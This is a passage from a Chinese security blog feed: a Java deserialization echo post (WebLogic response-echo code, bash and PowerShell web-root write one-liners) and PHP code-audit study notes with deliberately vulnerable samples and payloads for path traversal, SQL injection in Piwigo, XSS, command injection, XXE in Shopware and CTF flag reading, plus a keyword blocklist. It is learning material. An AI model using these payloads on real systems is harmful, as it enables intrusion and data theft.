<p>这个例子大多出现在jboss和fastjson中，灵活使用。</p>
<h2>中间件回显</h2>
<p>中间件而言多数重写了thread类，在thread中保存了req和resp，可以通过获取当前线程，在resp中写入回显结果</p>
<p>这种方法前几天在先知上有很多针对tomcat无回显的文章，为各位师傅的文章画一下时间线：</p>
<ol>
<li><a class="wp-editor-md-post-content-link" href="https://www.anquanke.com/post/id/198886">《基于内存 Webshell 的无文件攻击技术研究》</a> 主要应用于Spring</li>
<li><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7307">《linux下java反序列化通杀回显方法的低配版实现》</a> 将回显结果写入文件操作符</li>
<li><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7348">《Tomcat中一种半通用回显方法》</a> 将执行命令的结果存入tomcat的response返回 shiro无法回显</li>
<li><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7388">《基于tomcat的内存 Webshell 无文件攻击技术》</a> 动态注册filter实现回显 shiro无法回显</li>
<li><a class="wp-editor-md-post-content-link" href="https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&amp;mid=2651374294&amp;idx=3&amp;sn=82d050ca7268bdb7bcf7ff7ff293d7b3">《基于全局储存的新思路 | Tomcat的一种通用回显方法研究》</a> 通过Thread.currentThread.getContextClassLoader() 拿到request、response回显 tomcat7中获取不到StandardContext</li>
<li><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7535">《tomcat不出网回显连续剧第六集》</a> 直接从Register拿到process对应的req</li>
</ol>
<p>不再赘述了，具体实现文章都有了。值得一提的思路可能就是反序列化不仅仅可以回显，也可以配合反射和字节码动态注册servlet实现无内存webshell。</p>
<p>在weblogic中也有resp回显，具体代码在 <a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/5299">《weblogic_2019_2725poc与回显构造》</a> lufei师傅已经给出来了</p>
<p>weblogic10.3.6</p>
<pre><code class="language-java line-numbers">String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");
</code></pre>
<p>weblogic12.1.3</p>
<pre><code class="language-java line-numbers">java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));
</code></pre>
<h2>写文件</h2>
<p>通过搜索特殊文件路径直接写入web可访问的目录，要熟悉常用中间件容器的目录结构，比如在我web目录有一个特殊的test.html</p>
<p>linux用bash</p>
<pre><code class="language-bash line-numbers">// 进入test.html的根目录并执行id命令写入1.txt
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) &amp;&amp; echo `id` &gt; 1.txt
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200516003808.png" alt="image.png" /></p>
<p>windows的powershell</p>
<pre><code class="language-powershell line-numbers">$file = Get-ChildItem -Path . -Filter test.html -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.txt");echo 222 |Out-File $f
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200516009199.png" alt="image.png" /></p>
<h2>dnslog</h2>
<p>这个就不提了，技巧的话就是用powershell或者base64命令编码一下，避免特殊字符，还有就是挑小众的dnslog平台。</p>
<h2>参考</h2>
<ol>
<li>https://www.cnblogs.com/afanti/p/12502145.html</li>
<li>https://xz.aliyun.com/t/5299</li>
<li>https://<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>sec.org/javase/ClassLoader/</li>
<li>https://www.cnblogs.com/ph4nt0mer/p/12802851.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>php代码审计学习函数缺陷（二）</title>
		<link>/web/1770.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Mon, 11 May 2020 03:20:30 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1770</guid>

					<description><![CDATA[正则使用不当导致的路径穿越问题 Frost Pattern code class TokenStorage { public function performAction($act...]]></description>
										<content:encoded><![CDATA[<h2>正则使用不当导致的路径穿越问题</h2>
<h3>Frost Pattern</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class TokenStorage {
  public function performAction($action, $data) {
    switch ($action) {
      case 'create':
        $this-&gt;createToken($data);
        break;
      case 'delete':
        $this-&gt;clearToken($data);
        break;
      default:
        throw new Exception('Unknown action');
    }
  }

  public function createToken($seed) {
    $token = md5($seed);
    file_put_contents('/tmp/tokens/' . $token, '...data');
  }

  public function clearToken($token) {
    $file = preg_replace("/[^a-z.-_]/", "", $token);
    unlink('/tmp/tokens/' . $file);
  }
}

$storage = new TokenStorage();
$storage-&gt;performAction($_GET['action'], $_GET['data']);
</code></pre>
<ul>
<li>preg_replace(函数执行一个正则表达式的搜索和替换)</p>
</li>
<li>
<p>payload</p>
</li>
</ul>
<pre><code class="language-php line-numbers">$action = $delete$data = ../../config.php
</code></pre>
<h3>WeEngine0.8</h3>
<ul>
<li>web/source/site/category.ctrl.php:176</li>
</ul>
<p><strong>file_delete文件删除函数</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510093718.png" alt="" /></p>
<ul>
<li>framework/function/file.func.php:294</li>
</ul>
<p><strong>查看file_delete函数</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510093823.png" alt="" /></p>
<ul>
<li>追朔$file变量从何而来</li>
</ul>
<pre><code class="language-php line-numbers">if (!empty($navs)) {
        foreach ($navs as $row) {
            file_delete($row['icon']);
        }
</code></pre>
<ul>
<li>追朔$navs从何而来</li>
</ul>
<pre><code class="language-php line-numbers">    $navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');
</code></pre>
<ul>
<li>web/source/site/category.ctrl.php:137</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510095825.png" alt="" /></p>
<ul>
<li>web/source/site/category.ctrl.php:130</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510095930.png" alt="" /></p>
<p><strong>$nav[&#8216;icon&#8217;] 即为文件删除函数的参</strong></p>
<h2>parse_str函数缺陷</h2>
<ul>
<li>parse_str</li>
</ul>
<pre><code class="line-numbers">parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510103038.png" alt="" /></p>
<h2>preg_replace函数之命令执行</h2>
<h3>Candle</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
  return preg_replace(
    '/(' . $regex . ')/ei',
    'strtolower("\\1")',
    $value
  );
}

foreach ($_GET as $regex =&gt; $value) {
  echo complexStrtolower($regex, $value) . "\n";
}
</code></pre>
<ul>
<li>preg_replace(函数执行一个正则表达式的搜索和替换)</li>
</ul>
<pre><code class="line-numbers">mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &amp;$count ]] )
</code></pre>
<p><strong>$pattern 存在 /e 模式修正符，允许代码执行</strong><br />
<strong>/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行</strong></p>
<p><strong>将GET请求传过来的参数通过complexStrtolower函数执行，preg_replace函数存在e修正符</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">S*=${phpinfo()} 
</code></pre>
<h4>参考</h4>
<p><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/2557">深入研究preg_replace与代码执行</a></p>
<h3>CmsEasy 5.5</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510160914.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>lib/tool/form.php:90</li>
</ul>
<p><strong>如果$form[$name][&#8216;default&#8217;]内容被匹配到就会执行eval</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510161952.png" alt="" /></p>
<ul>
<li>cache/template/default/manage/#guestadd.php:175</li>
</ul>
<p><strong>全局搜索getform，主要注意catid是作为$name的</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510162528.png" alt="" /></p>
<ul>
<li>lib/table/archive.php:25</li>
</ul>
<p><strong>追朔catid,寻找到default</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163510.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:2367</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163724.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:493</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163809.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:332</li>
</ul>
<p><strong>$form[$name][&#8216;default&#8217;]可控</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510164008.png" alt="" /></p>
<ul>
<li>lib/default/manage_act.php:29</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510164614.png" alt="" /></p>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510165011.png" alt="" /></p>
<h2>str_replace函数过滤不当</h2>
<h4>Rabbit</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class LanguageManager {
  public function loadLanguage() {
    $lang = $this-&gt;getBrowserLanguage();
    $sanitizedLang = $this-&gt;sanitizeLanguage($lang);
    require_once("/lang/$sanitizedLang");
  }

  private function getBrowserLanguage() {
    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
    return $lang;
  }

  private function sanitizeLanguage($language) {
    return str_replace('../', '', $language);
  }
}

(new LanguageManager())-&gt;loadLanguage();
</code></pre>
<ul>
<li>str_replace(子字符串替换)</li>
</ul>
<pre><code class="line-numbers">str_replace(字符串1，字符串2，字符串3)：将字符串3中出现的所有字符串1换成字符串2。

str_replace(数组1，字符串1，字符串2)：将字符串2中出现的所有数组1中的值，换成字符串1。

str_replace(数组1，数组2，字符串1)：将字符串1中出现的所有数组1一一对应，替换成数组2的值，多余的替换成空字符串。
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">....// 或者 ..././ 
</code></pre>
<h3>Metinfo 6.0.0</h3>
<ul>
<li>strstr</li>
</ul>
<pre><code class="line-numbers">查找字符串的首次出现到结尾的字符串
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510181653.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>app/system/include/module/old_thumb.class.php:14</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183440.png" alt="" /></p>
<ul>
<li>include/thumb.php:6</li>
</ul>
<p><strong>全局搜索</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183630.png" alt="" /></p>
<ul>
<li>app/system/include/class/load.class.php:113</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183942.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">http://localhost/metInfo/include/thumb.php?dir=.....///http/.....///最终用户授权许可协议.txt
</code></pre>
<h2>程序未恰当exit导致的问题</h2>
<h3>Anticipation</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">extract($_POST);

function goAway() {
  error_log("Hacking attempt.");
  header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
  goAway();
}

if (!assert("(int)$pi == 3")) {
  echo "This is not pi.";
} else {
  echo "This might be pi.";
}
</code></pre>
<ul>
<li>extract</li>
</ul>
<pre><code class="line-numbers">从数组中将变量导入到当前的符号表
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511104100.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">pl=phpinfo()
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105009.png" alt="" /></p>
<h3>FengCms 1.32</h3>
<ul>
<li>install/index.php</li>
</ul>
<p><strong>如果安装完成会生成INSTALL文件，访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，导致程序逻辑还是往下走，还是会安装</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105552.png" alt="" /></p>
<h3>Simple-Log1.6网站重装漏洞</h3>
<ul>
<li>install/index.php</li>
</ul>
<p><strong>访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，只是跳转到首页，导致程序逻辑还是往下走，还是会安装</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105858.png" alt="" /></p>
<h2>Tips整理</h2>
<ul>
<li>parse_str</li>
</ul>
<pre><code class="line-numbers">parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量
</code></pre>
<ul>
<li>preg_replace</li>
</ul>
<pre><code class="line-numbers">$pattern 存在 /e 模式修正符，允许代码执行
/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行
</code></pre>
<ul>
<li>extract</li>
</ul>
<pre><code class="line-numbers">从数组中将变量导入到当前的符号表
</code></pre>
<ul>
<li>尾声</li>
</ul>
<p>本系列是弟弟跟着红日安全产出的代码审计教程系列学习的，原项目地址：[PHP-Audit-Labs]</p>
<p>(https://github.com/hongriSec/PHP-Audit-Labs)</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>php代码审计学习函数缺陷（1）</title>
		<link>/code/1575.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Wed, 06 May 2020 04:45:00 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[教程分享]]></category>
		<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1575</guid>

					<description><![CDATA[in_array函数缺陷 Wish List Code class Challenge { const UPLOAD_DIRECTORY = './solutions/'; pri...]]></description>
										<content:encoded><![CDATA[<h2>in_array函数缺陷</h2>
<h3>Wish List</h3>
<ul>
<li>Code</li>
</ul>
<pre><code class="">class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this-&gt;file = $file;
    $this-&gt;whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this-&gt;file['name'], $this-&gt;whitelist)) {
      move_uploaded_file(
        $this-&gt;file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this-&gt;file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);
</code></pre>
<ul>
<li>代码理解</li>
</ul>
<p><strong>代码为一个文件上传的代码，如果文件名存在于1-24中，则上传文件</strong></p>
<ul>
<li>in_array函数</li>
</ul>
<pre><code class="">in_array
检查数组中是否存在某个值
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>php弱类型比较时，6php会转换为6，6在1-24中间，所以可以进行上传</strong></p>
<h3>piwigo2.7.1实例分析</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308143432.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>于picture.php:332中</li>
</ul>
<pre><code class="">case 'rate' :
    {
      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }
</code></pre>
<p><strong>当case为rate时，将变量rate和变量image_id传入functions_rate.inc.php文件中的rate_picture函数</strong></p>
<ul>
<li>include/functions_rate.inc.php:38</li>
</ul>
<pre><code class="">or !in_array($rate, $conf['rate_items']))
</code></pre>
<p><strong>查找变量rate是否存在于$conf[&#8216;rate_items&#8217;]当中</strong></p>
<pre><code class="">$conf['rate_items']
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200308145619.png" alt="" /></p>
<ul>
<li>直接将rate进行了拼接</li>
</ul>
<pre><code class="">$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'''.$anonymous_id.'','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'''.$anonymous_id.'','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
</code></pre>
<p><strong>只要rate为array(0,1,2,3,4,5)便可以进行绕过，而in_array第三位未设置为true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 
</code></pre>
<ul>
<li>sqlmap</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308174418.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308181630.png" alt="" /></p>
<ul>
<li>stop_hack函数</li>
</ul>
<pre><code class="">function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|/*|*|../|./|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
</code></pre>
<p><strong>stop_hack用来过滤一些危险函数</strong></p>
<ul>
<li>注入</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308182616.png" alt="" /></p>
<p><strong>获取get的ID，通过stop_hack进行过滤并拼接到sql语句中进行查询</strong></p>
<ul>
<li>报错注入payload</li>
</ul>
<pre><code class="">and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200308183821.png" alt="" /></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="">https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs%E9%A2%98%E8%A7%A3/Day1-4/files/README.md
https://xz.aliyun.com/t/2160
</code></pre>
<h2>filter_var函数缺陷</h2>
<h3>Twig</h3>
<pre><code class="">// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '&lt;img ' .
      'src="https://loremflickr.com/320/240"&gt;' .
      '&lt;a href="{{link|escape}}"&gt;Next slide &amp;raquo;&lt;/a&gt;';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new TwigLoaderArrayLoader([
      'index.html' =&gt; $indexTemplate
    ]);
    $this-&gt;twig = new TwigEnvironment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this-&gt;twig-&gt;render(
      'index.html',
      ['link' =&gt; $this-&gt;getNexSlideUrl()]
    );
  }
}

(new Template())-&gt;render();
</code></pre>
<p><strong>使用escape和filter_var进行过滤</strong></p>
<ul>
<li>escape</li>
</ul>
<p><strong>默认是使用了htmlspecialchars方法进行过滤，</strong></p>
<ul>
<li>filter_var</li>
</ul>
<pre><code class="">使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
</code></pre>
<ul>
<li>htmlspecialchars转义</li>
</ul>
<pre><code class="">&amp; (&amp; 符号)  ===============  &amp;amp;
" (双引号)  ===============  &amp;quot;
' (单引号)  ===============  &amp;apos;
&lt; (小于号)  ===============  &amp;lt;
&gt; (大于号)  ===============  &amp;gt;
</code></pre>
<p><strong>默认只过滤双引号，不过滤单引号，只有设置了：quotestyle 选项为ENT_QUOTES才会过滤单引号</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">javascript://comment%250aalert(1)
</code></pre>
<h3>anchor-cms</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200309141247.png" alt="" /></p>
<h4>源码分析</h4>
<ul>
<li>themes/default/404.php:9</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200309150252.png" alt="" /></p>
<ul>
<li>anchor/functions/helpers.php:34 current_url()函数</li>
</ul>
<pre><code class="">function current_url() {
    return Uri::current();
}
</code></pre>
<ul>
<li>system/uri.php:84</li>
</ul>
<pre><code class="">public static function current() {
        if(is_null(static::$current)) static::$current = static::detect();
        return static::$current;
    }
</code></pre>
<ul>
<li>detect 方法</li>
</ul>
<pre><code class="">public static function detect() {
        // create a server object from global
        $server = new Server($_SERVER);

        $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');

        foreach($try as $method) {

            // make sure the server var exists and is not empty
            if($server-&gt;has($method) and $uri = $server-&gt;get($method)) {

                // apply a string filter and make sure we still have somthing left
                if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
                }
            }
        }

        throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');
    }
</code></pre>
<p><strong>关键代码</strong></p>
<pre><code class="">if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
</code></pre>
<ul>
<li>system/uri.php:126</li>
</ul>
<pre><code class="">    public static function format($uri, $server) {
        // Remove all characters except letters,
        // digits and $-_.+!*'(),{}|\^~[]`&lt;&gt;#%";/?:@&amp;=.
        $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);

        // remove script path/name
        $uri = static::remove_script_name($uri, $server);

        // remove the relative uri
        $uri = static::remove_relative_uri($uri);

        // return argument if not empty or return a single slash
        return trim($uri, '/') ?: '/';
    }
</code></pre>
<p><strong>没有对xss进行过滤</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">http://localhost:8888/test/index.php/%3Cscript%3Ealert(1)%3C/script%3E
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200309153333.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200309155130.png" alt="" /></p>
<ul>
<li>flag.php</li>
</ul>
<pre><code class="">&lt;?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?&gt;
</code></pre>
<ul>
<li>index.php</li>
</ul>
<pre><code class="">&lt;?php 
$url = $_GET['url']; // 获取url

if(isset($url) &amp;&amp; filter_var($url, FILTER_VALIDATE_URL)){  //过滤url
    $site_info = parse_url($url);

    if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com结尾
        exec('curl "'.$site_info['host'].'"', $result);
        echo "&lt;center&gt;&lt;h1&gt;You have curl {$site_info['host']} successfully!&lt;/h1&gt;&lt;/center&gt;
              &lt;center&gt;&lt;textarea rows='20' cols='90'&gt;";
        echo implode(' ', $result);
    } //命令执行

    else{
        die("&lt;center&gt;&lt;h1&gt;Error: Host not allowed&lt;/h1&gt;&lt;/center&gt;");
    }

}
else{
    echo "&lt;center&gt;&lt;h1&gt;Just curl sec-redclub.com!&lt;/h1&gt;&lt;/center&gt;&lt;br&gt;
          &lt;center&gt;&lt;h3&gt;For example:?url=http://sec-redclub.com&lt;/h3&gt;&lt;/center&gt;";
}
?&gt;
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="">syst1m://"|ls;"sec-redclub.com
syst1m://"|cat&lt;f1agi3hEre.php;"sec-redclub.com
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200309162636.png" alt="" /></p>
<h2>实例化任意对象漏洞</h2>
<h3>Snow Flake</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">function __autoload($className) { //自动加载
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];  //获取get的c与d作为类名与参数

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller-&gt;render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this-&gt;template = $template;
    $this-&gt;variables = $variables;
  }

  public function render() {
    if ($this-&gt;variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}
</code></pre>
<p><strong>如果存在如果程序存在 __autoload函数，class_exists函数就会自动调用方法</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">/?c=../../../../etc/passwd
</code></pre>
<h3>Shopware 5.3.3 （XXE）</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310141611.png" alt="" /></p>
<h4>代码分析</h4>
<ul>
<li>漏洞触发点</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310142234.png" alt="" /></p>
<ul>
<li>打断点</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310143309.png" alt="" /></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:52</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310143748.png" alt="" /></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:63</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310144659.png" alt="" /></p>
<p><strong>使用$this->Request()->getParam(&#8216;sort&#8217;)获取sort，然后进入RepositoryInterface类的unserialize方法</strong></p>
<ul>
<li>engine/Shopware/Components/LogawareReflectionHelper.php:56</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310145112.png" alt="" /></p>
<p><strong>调用的是LogawareReflectionHelper类的unserialize方法</strong></p>
<p><strong>$serialized为传入的sort变量，遍历取出className，传入createInstanceFromNamedArguments方法</strong></p>
<ul>
<li>engine/Shopware/Components/ReflectionHelper.php:40</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310145747.png" alt="" /></p>
<p><strong>新建一个反射类，并传入参数，类名与参数都为sort中的，而sort可控</strong></p>
<ul>
<li>发送到burp</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310153139.png" alt="" /></p>
<ul>
<li>修改payload</li>
</ul>
<pre><code class="">/test/backend/ProductStream/loadPreview?_dc=1583825465339&amp;sort={"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&amp;conditions={}&amp;shopId=1&amp;currencyId=1&amp;customerGroupKey=EK&amp;page=1&amp;start=0&amp;limit=25
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310160323.png" alt="" /></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="">https://www.php.net/manual/zh/simplexmlelement.construct.php
</code></pre>
<h3>CTF</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">&lt;?php

class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=&gt;$value)
        echo $key.'=&gt;'.$value.'&lt;br&gt;';
}
</code></pre>
<p><strong>当class_exists时，调用__autoload方法，但是__autoload方法不存在，新建了一个spl_autoload_register方法，类似__autoload方法</strong></p>
<ul>
<li>列出文件（GlobIterator类）</li>
</ul>
<pre><code class="">public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
</code></pre>
<p><strong>第一个参数为要搜索的文件名，第二个参数为第二个参数为选择文件的哪个信息作为键名</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">http://127.0.0.1:8888/index.php?name=GlobIterator&amp;param=./*.php&amp;param2=0
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200310165128.png" alt="" /></p>
<ul>
<li>读取flag</li>
</ul>
